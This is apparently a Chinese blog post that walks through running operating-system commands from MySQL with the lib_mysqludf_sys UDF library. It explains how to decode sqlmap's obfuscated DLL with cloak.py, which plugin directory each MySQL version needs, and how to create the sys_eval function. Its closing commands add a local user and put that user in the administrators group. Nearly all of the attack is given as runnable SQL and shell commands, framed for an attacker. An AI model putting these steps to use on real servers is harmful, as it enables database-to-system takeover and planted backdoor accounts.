MySQL 利用UDF执行命令

UDF即User-Defined Functions


lib_mysqludf_sys 在github的介绍:

A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.

lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme


自动化注入工具Sqlmap已经集成了此功能。

在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用


首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll


攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。


目标机以windows为例,MySQL版本为5.6

攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

然后,创建UDF。

lib_mysqludf_sys.dll的导出路径:

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。


创建相应的函数:

create function sys_eval returns string soname 'udf.dll';


执行命令:

select sys_eval(‘whoami’);

MySQL 利用UDF执行命令_第1张图片


select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);

你可能感兴趣的:(Web相关)